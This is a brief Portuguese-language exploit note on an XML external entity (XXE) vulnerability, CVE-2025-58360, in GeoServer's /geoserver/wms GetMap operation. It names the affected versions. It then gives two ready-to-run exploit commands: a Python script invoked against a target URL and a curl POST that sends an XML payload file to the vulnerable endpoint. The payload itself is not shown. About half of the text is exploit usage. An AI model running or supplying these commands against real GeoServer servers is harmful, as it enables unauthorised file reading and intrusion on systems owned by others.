
XXE através de um endpoint específico /geoserver/wms operação GetMap - Geoserver
Da versão 2.26.0 até antes da 2.26.2 e antes da 2.25.6, foi identificada uma vulnerabilidade de Entidade Externa XML (XXE). A aplicação aceita entrada XML por meio de um endpoint específico /geoserver/wms, operação GetMap

Exploit1:
python3 CVE-2025-58360 -u http://example.com
Exploit2:
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png